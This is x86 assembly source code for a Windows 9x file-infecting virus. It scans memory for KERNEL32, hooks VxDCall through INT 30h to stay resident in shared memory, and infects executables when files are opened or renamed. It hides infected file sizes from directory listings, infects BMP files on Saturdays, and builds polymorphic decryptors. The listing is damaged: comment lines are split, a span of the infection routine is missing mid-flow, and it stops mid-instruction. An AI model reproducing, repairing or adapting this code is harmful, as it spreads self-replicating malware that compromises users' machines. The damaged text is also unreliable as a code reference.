.386P
locals
jumps
.model flat,STDCALL
;Include the following files
include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc
;Some externals only used on 1st generation
extrn ExitProcess:NEAR
extrn MessageBoxA:NEAR
;Virus equates
mem_size equ mem_end-mem_base ;Size of virus in
memory
inf_size equ inf_end-mem_base ;Size of virus in
files
base_default equ 00400000h ;Default host base
address
page_mem_size equ (mem_size+ \ ;Virus in memory
inf_size+ \ ;Virus copy for
infections
poly_max_size+ \ ;Poly decryptor
0FFFh)/1000h ;Size in memory pages
page_align equ 10000h ;Page allocation
alignment
SIZE_PADDING equ 00000065h ;Mark for infected
files
;Some equates stolen from VMM.h
PR_PRIVATE EQU 80000400h
PR_SHARED EQU 80060000h
PR_SYSTEM EQU 80080000h
PR_FIXED EQU 00000008h
PR_4MEG EQU 00000001h
PR_STATIC EQU 00000010h
PD_ZEROINIT EQU 00000001h
PD_NOINIT EQU 00000002h
PD_FIXEDZERO EQU 00000003h
PD_FIXED EQU 00000004h
PC_FIXED EQU 00000008h
PC_LOCKED EQU 00000080h
PC_LOCKEDIFDP EQU 00000100h
PC_WRITEABLE EQU 00020000h
PC_USER EQU 00040000h
PC_INCR EQU 40000000h
PC_PRESENT EQU 80000000h
PC_STATIC EQU 20000000h
PC_DIRTY EQU 08000000h
PCC_ZEROINIT EQU 00000001h
PCC_NOLIN EQU 10000000h
_TEXT segment dword use32 public 'CODE'
host_entry: xor ebp,ebp
call entry_1st_gen
xor eax,eax
push eax
call ExitProcess
_TEXT ends
_DATA segment dword use32 public 'DATA'
_DATA ends
_BSS segment dword use32 public 'BSS'
_BSS ends
virseg segment dword use32 public 'HPS'
mem_base equ this byte
virus_entry: call get_delta ;Get
delta-offset
get_delta: pop ebp ;into ebp and
mov eax,ebp ;host original
sub ebp,offset get_delta ;entry-point
in eax
db 2Dh ;sub eax,xxxx
infected_ep dd 00000000h
db 05h ;add eax,xxxx
original_ep dd 00000000h
push eax
entry_1st_gen: ;Scan memory looking for KERNEL32.dll
;We can do this without causing protection faults,
;just setup a structured exception handler to trap
faults
;produced by our scan
;Thanks to Jacky Qwerty for this piece of code
pushad
try_01: mov eax,080000101h
call IGetK32BaseAddr
jecxz try_02
jmp kernel_found
try_02: mov eax,0C0000101h
call IGetK32BaseAddr
jecxz try_03
jmp kernel_found
try_03: xor eax,eax
call IGetK32BaseAddr
kernel_found: mov dword ptr [esp.Pushad_ebx],ecx
popad
or ebx,ebx
jz init_error
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
add eax,ebx
mov edi,dword ptr [eax+NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress]
add edi,ebx
mov esi,dword ptr [edi+ED_AddressOfFunctions]
add esi,ebx
xor edx,edx
address_loop: cmp edx,dword ptr [edi+ED_NumberOfFunctions]
jae init_error
mov ecx,00000008h-01h
function_loop: inc edx
lodsd
cmp eax,dword ptr [esi]
jne address_loop
loop function_loop
add eax,ebx
mov dword ptr [ebp+a_VxDCall],eax ;VxDCall found
;At this point we know how to call VxDCall api
;So we can use our int21h dispatcher to perform
;the residency check
mov eax,00002A00h
mov esi,"HPS!"
mov edi,"TSR?"
call my_int21h
cmp esi,"YES!"
je init_error
;Check if time to activate our payload
xor ecx,ecx
cmp al,06h ;Saturday?
jne activation_end
inc ecx
activation_end: mov dword ptr [ebp+bmp_active],ecx
;Well... Now lets use VxDCall to allocate some
;shared memory
;This memory will stay there after host termination
;and will be visible to all running processes
push PC_WRITEABLE or PC_USER
push page_mem_size ;# of pages
push PR_SHARED
PUSH 00010000h ;Call to
_PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0
cmp eax,0FFFFFFFFh ;Success?
je init_error
cmp eax,80000000h ;In shared
memory?
jb free_pages
mov dword ptr [ebp+mem_address],eax ;Save linnear
address
push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
push 00000000h
push PD_ZEROINIT
push page_mem_size ;# of pages
shr eax,0Ch ;Linnear page
number
push eax
push 00010001h ;Call to
_PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0
or eax,eax
je free_pages
commit_success: mov eax,dword ptr [ebp+mem_address] ;Point eax to
our
add eax,VxDCall_code-mem_base ;hook
procedure
mov dword ptr [ebp+ptr_location],eax ;Setup far jmp
mov dword ptr [ebp+hook_status],"FREE" ;Clear busy
flag
mov esi,dword ptr [ebp+a_VxDCall] ;VxDCall
entry-point
mov ecx,00000100h ;Explore 0100h
bytes
trace_VxDCall: lodsb
cmp al,2Eh
jne trace_next
cmp word ptr [esi],1DFFh
je get_int30h
trace_next: loop trace_VxDCall
free_pages: xor eax,eax
push eax
push dword ptr [ebp+mem_address]
push 0001000Ah ;Call to
_PageFree
call dword ptr [ebp+a_VxDCall] ;VxDCall0
jmp init_error
get_int30h: ;Before setting our hook lets generate one polymorphic
;decryptor... We will use this decryptor for each file
;infection... This is also known as slow-mutation
call mutate ;Generate
decryptor
;Now we have all the necesary information to hook
Windows
;calls to VxDCall function
;Save the 16:32 pointer to INT 30h instruction and
;overwrite it with the address of our hook procedure
cli
lodsw ;Skip FF 1D
opcodes
lodsd ;Get ptr to
INT 30h
push eax
mov esi,eax
mov edi,dword ptr [ebp+mem_address]
add edi,VxDCall_code-mem_base
mov ecx,00000006h
rep movsb
pop edi
mov eax,dword ptr [ebp+mem_address]
add eax,VxDCall_hook-mem_base
stosd
mov ax,cs ;Overwrite far
ptr
stosw
sti
init_error: lea ebp,dword ptr [esp+0000013Ch-00000004h]
ret
SEH_ExcptBlock macro
add esp,-cPushad
jnz GK32BA_L1
endm
IGetK32BaseAddr: @SEH_SetupFrame <SEH_ExcptBlock>
mov ecx,edx
xchg ax,cx
GK32BA_L0: dec cx
jz GK32BA_L2
add eax,-10000h
pushad
mov bx,-IMAGE_DOS_SIGNATURE
add bx,[eax]
mov esi,eax
jnz GK32BA_L1
mov ebx,-IMAGE_NT_SIGNATURE
add eax,[esi.MZ_lfanew]
mov edx,esi
add ebx,[eax]
jnz GK32BA_L1
add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries \
.DE_Export.DD_VirtualAddress]
cld
add esi,[edx.ED_Name]
lodsd
and eax,not 20202020h
add eax,-'NREK'
jnz GK32BA_L1
lodsd
or ax,2020h
add eax,-'23le'
jnz GK32BA_L1
lodsb
xor ah,al
jz GK32BA_L1
add al,-'.'
lodsd
jnz GK32BA_L1
and eax,not 202020h
add eax,-'LLD'
GK32BA_L1: popad
jnz GK32BA_L0
xchg ecx,eax
inc eax
GK32BA_L2: @SEH_RemoveFrame
ret
include excpt.inc
VxDCall_hook: pushad
call mem_delta ;Get
mem_delta: pop ebp ;delta offset
sub ebp,offset mem_delta
cmp dword ptr [ebp+hook_status],"BUSY" ;Dont process
our
je exit_hook ;own calls
cmp eax,002A0010h ;VWIN32 VxD
int 21h?
jne exit_hook
mov eax,dword ptr [esp+0000002Ch]
cmp ax,2A00h ;Get system
je tsr_check
cmp ax,3D00h ;Open file
je infection_edx
cmp ax,3D01h ;Open file
je infection_edx ;read/write?
cmp ax,7143h ;X-Get/set
je infection_edx
cmp ax,714Eh ;LFN find
je stealth
cmp ax,714Fh ;LFN find next
je stealth
cmp ax,7156h ;LFN rename
je infection_edx
cmp ax,716Ch ;LFN extended
je infection_esi
cmp ax,71A8h ;Generate
je infection_esi
exit_hook: popad
do_far_jmp: ;Do a jmp fword ptr cs:[xxxxxxxx] into original code
db 2Eh,0FFh,2Dh
ptr_location dd 00000000h
tsr_check: cmp esi,"HPS!" ;Is our tsr
check?
jne exit_hook
cmp edi,"TSR?"
jne exit_hook
popad
mov esi,"YES!" ;Already
resident
jmp short do_far_jmp
stealth: mov eax,dword ptr [esp+00000028h] ;Save return
address
mov dword ptr [ebp+stealth_ret],eax
lea eax,dword ptr [ebp+api_ret] ;Set new ret
address
mov dword ptr [esp+00000028h],eax
mov dword ptr [ebp+find_data],edi ;Save
ptr2FindData
jmp exit_hook
api_ret: ;As result of the above code we will get control after
;int21h FindFirst or FindNext funcions
jc back2caller ;Exit if fail
pushad ;Save all
registers
call stealth_delta ;Delta offset
used
stealth_delta: pop ebp ;in stealth
routines
sub ebp,offset stealth_delta
db 0BFh ;mov edi,ptr
FindData
find_data dd 00000000h
xor eax,eax
cmp dword ptr [edi+WFD_nFileSizeHigh],eax
jne stealth_done
mov eax,dword ptr [edi+WFD_nFileSizeLow]
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jnz stealth_done
lea esi,dword ptr [edi+WFD_szFileName] ;Ptr to
filename
push esi
call check_filename
pop esi
jc stealth_done
mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag
mov eax,0000716Ch ;LFN Ext
Open/Create
xor ebx,ebx ;Read
xor ecx,ecx ;Attribute
normal
xor edx,edx
inc edx ;Open existing
call my_int21h
jc stealth_done
mov ebx,eax
mov edx,dword ptr [edi+WFD_nFileSizeLow]
sub edx,00000004h
call seek_here
jc close_stealth
mov eax,00003F00h ;Read bytes
written
mov ecx,00000004h
lea edx,dword ptr [ebp+stealth_this]
call my_int21h
jc close_stealth
mov eax,dword ptr [ebp+stealth_this]
sub dword ptr [edi+WFD_nFileSizeLow],eax
close_stealth: mov eax,00003E00h ;Close file
call my_int21h
stealth_done: mov dword ptr [ebp+hook_status],"FREE" ;Clear busy
flag
popad ;Save all
registers
clc ;Return no
error
back2caller: push eax
push eax
db 0B8h ;Load eax with
the
stealth_ret dd 00000000h ;return
address
mov dword ptr [esp+00000004h],eax
pop eax
ret
infection_edx: mov esi,edx
infection_esi: mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag
call check_filename
jc exit_infection
mov dword ptr [ebp+ptr_filename],edx
mov esi,edx
xor ecx,ecx
cld
name_checksum: xor eax,eax
lodsb
or al,al
jz got_checksum
add ecx,eax
jmp short name_checksum
got_checksum: cmp dword ptr [ebp+last_checksum],ecx
je exit_infection
mov dword ptr [ebp+last_checksum],ecx
mov eax,00007143h ;LFN Ext
xor ebx,ebx ;Retrieve
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov dword ptr [ebp+file_attrib],ecx ;Save original
mov eax,00007143h ;LFN Ext
mov bl,01h ;Set file
xor ecx,ecx ;Clear all
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov eax,00007143h ;LFN Ext
mov bl,04h ;Retrieve last w
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov dword ptr [ebp+file_time],ecx ;Save original
mov dword ptr [ebp+file_date],edi ;Save original
mov eax,0000716Ch ;LFN Ext
mov ebx,00000002h ;Read/Write
xor ecx,ecx ;Attribute
mov edx,00000001h ;Open existing
lea esi,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov ebx,eax
mov eax,00003F00h ;Read MsDos
mov ecx,IMAGE_SIZEOF_DOS_HEADER ;or bitmap
lea edx,dword ptr [ebp+msdos_header] ;header
call my_int21h
jc close_file
cmp word ptr [ebp+msdos_header],IMAGE_DOS_SIGNATURE
je executable
xor eax,eax
cmp dword ptr [ebp+bmp_active],eax
je close_file
cmp word ptr [ebp+msdos_header],"MB"
jne close_file
cmp dword ptr [ebp+msdos_header+0000001Ah],00080001h
jne close_file
;Skip .BMP files that use compression
xor eax,eax
cmp dword ptr [ebp+msdos_header+0000001Eh],eax
jne close_file
;Check bitmap size in bytes
mov eax,dword ptr [ebp+msdos_header+00000012h]
mov ecx,dword ptr [ebp+msdos_header+00000016h]
mul ecx
cmp eax,dword ptr [ebp+msdos_header+00000022h]
jne close_file
call seek_eof
cmp dword ptr [ebp+msdos_header+00000002h],eax
jne close_file
add eax,00000FFFh
xor edx,edx
mov ecx,00001000h
div ecx
mov dword ptr [ebp+bmp_pages],eax
push ebx
push PC_WRITEABLE or PC_USER
push eax ;# of pages
push PR_SYSTEM
PUSH 00010000h ;Call to
_PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0
pop ebx
cmp eax,0FFFFFFFFh ;Success?
je close_file
mov dword ptr [ebp+bmp_address],eax ;Save linnear
push ebx
push PC_WRITEABLE or PC_USER
push 00000000h
push PD_ZEROINIT
push dword ptr [ebp+bmp_pages] ;# of pages
shr eax,0Ch ;Linnear page
push eax
push 00010001h ;Call to
_PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0
pop ebx
or eax,eax
je free_bmp_mem
call seek_bof ;Return to bof
jc close_file
mov eax,00003F00h ;Read the
mov ecx,dword ptr [ebp+msdos_header+00000002h]
mov edx,dword ptr [ebp+bmp_address]
call my_int21h
jc free_bmp_mem
mov eax,dword ptr [ebp+bmp_address]
mov esi,dword ptr [eax+0000000Ah]
add esi,eax
cmp dword ptr [esi],0DEADBABEh ;Already
je free_bmp_mem
push esi
push edi
mov ecx,SIZE_PADDING
call rnd_fill
pop edi
;Decryptor done, save its size
pop eax
sub dword ptr [ebp+entry_point],eax
sub edi,eax
mov dword ptr [ebp+decryptor_size],edi
;Copy virus body to our buffer
lea esi,dword ptr [ebp+mem_base]
mov edi,dword ptr [ebp+mem_address]
mov ecx,mem_size
rep movsb
popad
ret
scramble_virus: lea esi,dword ptr [ebp+mem_base]
lea edi,dword ptr [esi+mem_size]
push edi
mov ecx,inf_size
cld
rep movsb
call fixed_size2ecx
pop edi
loop_hide_code: push ecx
mov eax,dword ptr [edi]
call perform_crypt
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_copy_res: stosb
shr eax,08h
loop loop_copy_res
pop ecx
loop loop_hide_code
ret
perform_crypt: ;This buffer will contain the code to "crypt" the
virus code
;followed by a RET instruction
db 10h dup (90h)
gen_get_delta: ;Lets generate polymorphic code for the following
pseudocode:
mov al,0E8h
stosb
;Let space for the address to call
stosd
mov dword ptr [ebp+delta_call],edi
push edi
;Generate some random data
call gen_rnd_block
;Get displacement from CALL instruction to destination
;address
mov eax,edi
pop esi
sub eax,esi
;Put destination address after CALL opcode
mov dword ptr [esi-00000004h],eax
call gen_garbage
mov al,58h
or al,byte ptr [ebp+index_mask]
stosb
call gen_garbage
;Make needed fixes to point index to start or end of
;encrypted code
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size
add eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+delta_call]
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jz fix_dir_ok
;Direction is from top to bottom
push eax
call fixed_size2ecx
xor eax,eax
mov al,byte ptr [ebp+oper_size]
push eax
mul ecx
pop ecx
sub eax,ecx
pop ecx
add eax,ecx
fix_dir_ok: push eax
;Fix using ADD or SUB?
call get_rnd32
and al,01h
jz fix_with_sub
fix_with_add: ;Generate ADD reg_index,fix_value
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
jmp short fix_done
fix_with_sub: ;Generate SUB reg_index,-fix_value
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
fix_done: stosd
ret
gen_load_ctr: ;Easy now, just move counter random initial value
;into counter reg and calculate the end value
mov al,0B8h
or al,byte ptr [ebp+counter_mask]
stosb
call fixed_size2ecx
call get_rnd32
stosd
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz counter_down
counter_up: add eax,ecx
jmp short done_ctr_dir
counter_down: sub eax,ecx
done_ctr_dir: mov dword ptr [ebp+end_value],eax
ret
gen_decrypt: ;Check if we are going to use a displacement in the
;indexing mode
mov eax,dword ptr [ebp+ptr_disp]
or eax,eax
jnz more_complex
;Choose generator for [reg] indexing mode
mov edx,offset tbl_idx_reg
call choose_magic
jmp you_got_it
more_complex: ;More fun?!?!
mov al,byte ptr [ebp+build_flags]
test al,CRYPT_SIMPLEX
jnz crypt_xtended
;Choose generator for [reg+imm] indexing mode
mov edx,offset tbl_dis_reg
call choose_magic
you_got_it: ;Use magic to convert some values into
;desired instructions
call size_correct
mov dl,byte ptr [ebp+index_mask]
lodsb
or al,al
jnz adn_reg_01
cmp dl,00000101b
je adn_reg_02
adn_reg_01: lodsb
or al,dl
stosb
jmp common_part
adn_reg_02: lodsb
add al,45h
xor ah,ah
stosw
jmp common_part
crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp]
test al,CRYPT_COMPLEX
jz ok_complex
;Get random displacement from current displacement
;eeehh?!?
mov eax,00000010h
call get_rnd_range
mov dword ptr [ebp+disp2disp],eax
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg+imm] indexing mode
mov edx,offset tbl_paranoia
call choose_magic
jmp short done_xtended
ok_complex: mov eax,dword ptr [ebp+ptr_disp]
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg] indexing mode
mov edx,offset tbl_xtended
call choose_magic
done_xtended: ;Build decryptor instructions
call size_correct
pop ebx
mov dl,byte ptr [ebp+index_mask]
lodsb
mov cl,al
or al,al
jnz arn_reg_01
cmp dl,00000101b
jne arn_reg_01
lodsb
add al,40h
stosb
jmp short arn_reg_02
arn_reg_01: movsb
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,dl
stosb
or cl,cl
jnz arn_reg_03
cmp dl,00000101b
jne arn_reg_03
xor al,al
stosb
arn_reg_03: ;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
common_part: ;Get post-build flags
lodsb
;Insert displacement from real address?
test al,MAGIC_PUTDISP
jz skip_disp
push eax
mov eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+disp2disp]
neg eax
stosd
pop eax
skip_disp: ;Insert key?
test al,MAGIC_PUTKEY
jz skip_key
call copy_key
skip_key: ;Generate reverse code
call do_reverse
ret
choose_magic: mov eax,00000006h
call get_rnd_range
add edx,ebp
lea esi,dword ptr [edx+eax*04h]
lodsd
add eax,ebp
mov esi,eax
ret
size_correct: lodsb
mov ah,byte ptr [ebp+oper_size]
cmp ah,01h
je store_correct
inc al
cmp ah,04h
je store_correct
mov ah,66h
xchg ah,al
stosw
ret
store_correct: stosb
ret
load_aux: ;Get a valid auxiliary register
push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;Move displacement into aux reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
pop eax
neg eax
stosd
ret
do_reverse: xor eax,eax
mov al,byte ptr [ebp+oper_size]
shr eax,01h
shl